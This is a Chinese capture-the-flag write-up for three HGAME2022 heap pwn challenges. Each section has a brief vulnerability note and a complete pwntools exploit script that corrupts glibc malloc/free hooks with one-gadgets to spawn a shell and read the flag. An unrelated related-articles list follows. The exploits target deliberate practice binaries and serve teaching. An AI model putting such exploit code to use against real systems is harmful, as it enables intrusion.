PWN-COMPETITION-HGAME2022-Week3

PWN-COMPETITION-HGAME2022-Week3

    • changeable_note
    • elder_note
    • sized_note

changeable_note

edit_note中的gets函数存在堆溢出漏洞
本题没有leak函数,考虑利用_IO_2_1_stdout泄露libc
参考:好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc 和(补题)HITCON 2018 PWN baby_tcache超详细讲解
参考文章中的题目libc版本为2.27,从tcache中分配chunk不会检查size域,可以很方便利用
本题的libc版本为2.23,从fastbin中分配chunk时会检查size域是否正确,故须小心选择各chunk大小

# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
io=process("./changeable_note")
#io=remote("chuj.top",52576)
elf=ELF("./changeable_note")
libc=ELF("./libc-2.23.so")#gdb.attach(io)
#pause()#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#charset = string.printable
#proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
#io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendafter("content?\n>> ",content)
def edit(index,content):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))# heap overflowio.send(content)
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))#pause()add(0,0x90-8,"a"*8+"\n")#0
add(1,0x70,"a"*8+"\n")#1
add(2,0x60,"a"*8+"\n")#2
add(3,0x40,"a"*8+"\n")#3
add(4,0x10,"a"*8+"\n")#4
add(5,0x90-8,"a"*8+"\n")#5
add(6,0x70,"a"*8+"\n")#6#pause()size=0x90+0x20+0x50+0x70+0x80
print("size=="+hex(size))
payload="b"*0x10+p64(size)+p64(0x90)+"\n"
edit(4,payload)#pause()free(2)#2 out#pause()free(0)#0 out#pause()free(5)#5 out#pause()add(0,0x90+0x80-0x10,"c"*8+"\n")#0#pause()free(4)#4 out#pause()add(7,0x70+0x50-0x10,"\xdd\xb5")#7,找到一个地址比_IO_2_1_stdout低的,size域为0x7f的prev_size地址#pause()payload="d"*0x70+p64(0)+p8(0x71)+"\n"
edit(1,payload)#利用堆溢出调整chunk2的size域为0x71,使其能从fastbin中被取出#pause()add(2,0x60,"d"*8+"\n")#2#pause()payload=p64(0)*6+p8(0)*3+p64(0xFBAD1800)+p64(0)*3+"\x00"
add(4,0x60,payload)#4,这里是已经malloc过去了,可能pwngdb看不到p64(0)*3和"\x00"写过去了,但是确实是可以泄露libc的#pause()libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
print("libc_base=="+hex(libc_base))
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))#pause()add(5,0xb0-0x10,"e"*8+"\n")#pause()###########################################################################add(8,0x90-8,"a"*8+"\n")#8
add(9,0x70,"a"*8+"\n")#9
add(10,0x60,"a"*8+"\n")#10
add(11,0x40,"a"*8+"\n")#11
add(12,0x20,"a"*8+"\n")#12
add(13,0x90-8,"a"*8+"\n")#13
add(14,0x70,"a"*8+"\n")#14#pause()size=0x90+0x30+0x50+0x70+0x80
print("size=="+hex(size))
payload="b"*0x20+p64(size)+p64(0x90)+"\n"
edit(12,payload)#pause()free(10)#10 out#pause()free(8)#8 out#pause()free(13)#13 out#pause()add(8,0x90+0x80-0x10,"c"*8+"\n")#8#pause()free(12)#12 out#pause()add(15,0x70+0x50-0x10,p64(__malloc_hook-0x23))#15,__malloc_hook头上的经典size域为0x7f的prev_size地址#pause()payload="d"*0x70+p64(0)+p8(0x71)+"\n"
edit(9,payload)#利用堆溢出调整chunk10的size域为0x71,使其能从fastbin中被取出#pause()add(10,0x60,"d"*8+"\n")#10#pause()payload=p8(0)*3+p64(0)+p64(ogg)+p64(realloc)
add(12,0x60,payload)#12,写__realloc_hook为one-gadget,__malloc_hook为realloc真实地址(调整栈帧)#pause()io.sendlineafter(">> ","1")
io.sendlineafter("index?\n>> ",str(16))
io.sendlineafter("size?\n>> ",str(0x10))io.sendline("cat flag")io.interactive()

elder_note

delete_note中存在UAF漏洞
首先利用unsorted bin泄露libc
然后通过double free覆盖__realloc_hook为one-gadget,__malloc_hook为realloc真实地址(调整栈帧)

# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
io=process("./elder_note")
#io=remote("chuj.top",52769)
elf=ELF("./elder_note")
libc=ELF("./libc-2.23.so")#gdb.attach(io)
#pause()#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#charset = string.printable
#proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
#io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendlineafter("content?\n>> ",content)
def show(index):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))#pause()add(0,0x100,"a"*8)
add(1,0x60,"b"*8)
add(2,0x60,"c"*8)
add(3,0x20,"/bin/sh\x00")#pause()free(0)#pause()show(0)
main_arena=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-88
print("main_arena=="+hex(main_arena))
__malloc_hook=main_arena-0x10
print("__malloc_hook=="+hex(__malloc_hook))
libc_base=__malloc_hook-libc.sym["__malloc_hook"]
print("libc_base=="+hex(libc_base))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
oggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))#pause()free(1)#pause()free(2)#pause()free(1)#pause()add(4,0x60,p64(__malloc_hook-0x23))#pause()add(5,0x60,"d"*8)#pause()add(6,0x60,"e"*8)#pause()add(7,0x60,p8(0)*3+p64(0)+p64(ogg)+p64(realloc))#pause()io.sendlineafter(">> ","1")
io.sendlineafter("index?\n>> ","8")
io.sendlineafter("size?\n>> ",str(0x10))io.interactive()

sized_note

add和edit两个函数中都存在off by null漏洞
参考:2021第四届强网拟态PWN-wp 中old_school_revenge一题

# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
context.log_level="debug"
#io=process("./sized_note")
io=remote("chuj.top",52833)
elf=ELF("./sized_note")
libc=ELF("./libc.so.6")#gdb.attach(io)
#pause()io.recvuntil("sha256(????) == ")
code=io.recvuntil("\n")[:-1]
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("index?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))io.sendafter("content?\n>> ",content)
def show(index):io.sendlineafter(">> ","2")io.sendlineafter("index?\n>> ",str(index))
def free(index):io.sendlineafter(">> ","3")io.sendlineafter("index?\n>> ",str(index))
def edit(index,content):io.sendlineafter(">> ","4")io.sendlineafter("index?\n>> ",str(index))io.send(content)#pause()for i in range(7):add(i,0xf8,"\n")add(7,0xf8,"\n")
add(8,0xf8,"\n")
add(9,0xf8,"\n")
add(10,0xf8,"\n")for i in range(7):free(i)free(7)#pause()payload="\x00"*0xf0+p64(0x200)
edit(8,payload)#pause()free(9)for i in range(7):add(i,0xf8,"\n")#pause()add(16,0xf8,"\n")
show(8)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3EBCA0
print("libc_base=="+hex(libc_base))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
oggs=[0x4f3d5,0x4f432,0x10a41c]
ogg=libc_base+oggs[1]
print("ogg=="+hex(ogg))#pause()add(12,0x60,"\n")
free(12)#pause()edit(8,p64(__free_hook))#pause()add(13,0x60,"\n")
add(14,0x60,"\n")#pause()edit(14,p64(ogg))#pause()free(0)io.sendline("cat flag")io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/437970.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

利用官方支持为基于GitHub Pages的Hexo博客启用HTTPS

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! HTTP(超文本传输协议),是一个基于请求与响应,无状态的,应…

标注功能介绍

Mockplus3.5.0.1版本中,新增了标注功能。多种标注模式,智能生成,随时查看。原型设计效率更高。 Mockplus的标注功能有以下四种模式: 1、无选中标注 在未选中任何组件时,按住Ctrl键,鼠标经过某个组件&#…

REVERSE-COMPETITION-HGAME2022-Week3

REVERSE-COMPETITION-HGAME2022-Week3Answers Windowscreakme3hardenedfishmanAnswer’s Windows 含有GUI的程序,ida打开,ShiftF12打开字符串窗口,发现"right"和"wrong" 对"right"查找交叉引用,来…

Python3 爬虫学习笔记 C01 【基本库 urllib 的使用】

Python3 爬虫学习笔记第一章 —— 【基本库 urllib 的使用】文章目录【1.1】 urllib 简介 【1.2】 urllib.request 发送请求【1.2.1】 urllib.request.urlopen() 【1.2.1.1】 基本使用方法【1.2.1.2】 添加参数● data 参数● timeout 参数【1.2.2】 urllib.request.Request()【…

NuGet的简单使用

什么是NuGet? NuGet(读作New Get)是用于微软.NET开发平台的软件包管理器,是一个Visual Studio的扩展。在使用Visual Studio开发基于.NET Framework的应用时,NuGet能够令你在项目中添加、移除和更新引用的工作变得更加…

PWN-COMPETITION-HGAME2022-Week4

PWN-COMPETITION-HGAME2022-Week4vectorvector c写的pwn,实现了vector,没有edit功能,新增了move功能 add或move时,如果输入的下标大于vector的size,vector会进行resize扩容 旧vector占用的chunk自动被free掉进入相应的…

Python3 爬虫学习笔记 C02 【基本库 requests 的使用】

Python3 爬虫学习笔记第二章 —— 【基本库 requests 的使用】文章目录【2.1】 requests 简介【2.2】 requests 基本用法 【2.3】 requests 构建 GET 请求 【2.3.1】 基本用法【2.3.2】 二进制数据抓取 【2.3.3】 添加 headers【2.4】 requests 构建 POST 请求 【2.5】 request…

REVERSE-COMPETITION-HGAME2022-Week4

REVERSE-COMPETITION-HGAME2022-Week4( WOW )serverezvmhardasm( WOW ) 32位exe,ida打开 观察伪代码逻辑,上面的红框中,输入经过加密,密文放入Buf2中,然后Buf2和已知的密文res比较 比较完,打印"win&q…

VB编程语言简史

Visual Basic从1991年诞生以来,现在已经13年了。BASIC是微软的起家产品,微软当然不忘了这位功臣。随着每一次微软技术的浪潮,Visual Basic都会随之获得新生。可以预见,将来无论微软又发明了什么技术或平台,Visual Basi…

Python3 爬虫学习笔记 C03 【Ajax 数据爬取】

Python3 爬虫学习笔记第三章 —— 【Ajax 数据爬取】文章目录【3.1】Ajax 简介 【3.2】解析真实地址提取【3.1】Ajax 简介 Ajax — Asynchronous Javascript And XML(异步 JavaScript 和 XML),是指一种创建交互式网页应用的网页开发技术。可…

详解Bootstrap glyphicons-halflings-regular.woff2 Not found

看了好几个关于Bootstrap glyphicons-halflings-regular.woff2 Not found,的博主写的,他们都没有具体的细节。 首先,出现这个问题的原因是,没有将具体的包引用完整 直接看我遇到的问题吧,我要使用这个包,…

Python3 爬虫学习笔记 C04 【自动化测试工具 Selenium】

Python3 爬虫学习笔记第四章 —— 【自动化测试工具 Selenium】文章目录【4.1】下载驱动 【4.2】声明浏览器对象 【4.3】访问页面 【4.4】启动参数 【4.5】查找节点 【4.5.1】查找单个节点 【4.5.2】查找多个节点【4.6】节点交互 【4.7】动作链 【4.8】执行 JavaScript 【4.9】…

REVERSE-COMPETITION-HWS-5TH-2022

REVERSE-COMPETITION-HWS-5TH-2022re1re2re3re1 64位exe,ida打开,来到main函数 输入的长度应为32,输入经过TEA加密,密文与已知的cipher进行比较 进入TEA函数,发现是魔改TEA,需一次性传入8个unsigned int&…

Selenium 显式等待条件及其含义

等待条件含义title_is标题是某内容title_contains标题包含某内容presence_of_element_located节点加载出,传入定位元组,如 (By.ID, ‘p’)visibility_of_element_located节点可见,传入定位元组visibility_of可见,传入节点对象pres…

终于找到了:NuGet 修改包路径

NuGet 是 .NET 平台下的一个免费、开源的包管理开发工具。 修改全局包管理目录 通过 NuGet 安装包时,NuGet 先将包下载至一个统一的目录,默认路径是:C:Users用户名.nugetpackages 下载的包多了以后,会导致 C 盘空间被大量占用。…

REVERSE-COMPETITION-DSCTF-2022

REVERSE-COMPETITION-DSCTF-2022catchmeFFunctionnothingbad_applefantastic_cpucatchme 安卓逆向,java层传递输入,调用native层的check方法 ida打开.so文件,没有直接找到check方法,JNI_OnLoad也看不出什么 Findcrypt查到AES的S盒…

01-单一职责原则(SPR)

1. 背景 类T负责两个不同的职责:职责P1,职责P2。当由于职责P1需求发生改变而需要修改类T时,有可能会导致原本运行正常的职责P2功能发生故障。 2. 定义 不要存在多于一个导致类变更的原因。通俗的说,即一个类只负责一项职责。 3.…

Windows/Android/iOS 等常见 User-Agent 大全

User Agent 中文名为用户代理,简称 UA,是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。Python 爬虫通过伪装 UA 可以绕过某些检测。 以下为搜集的常见…

Python3 已经安装相关库,Pycharm 仍然报错 ModuleNotFoundError: No module named 'xxxxxx' 的解决办法

以 requests 库为例,打开 cmd,运行命令 pip install requests,即可安装 requests 库,由于我已经安装过,所以会提示 Requirement already satisfied 此时,我们使用 Pycharm 运行以下代码: impo…

Python3 爬虫学习笔记 C05 【Selenium + 无界面浏览器】

Python3 爬虫学习笔记第五章 —— 【Selenium 无界面浏览器】文章目录【5.1】关于无界面浏览器【5.2】PhantomJS【5.3】Headless Chrome【5.4】Headless Firefox【5.1】关于无界面浏览器 无界面(headless)浏览器,会把网站加载到内存并执行页…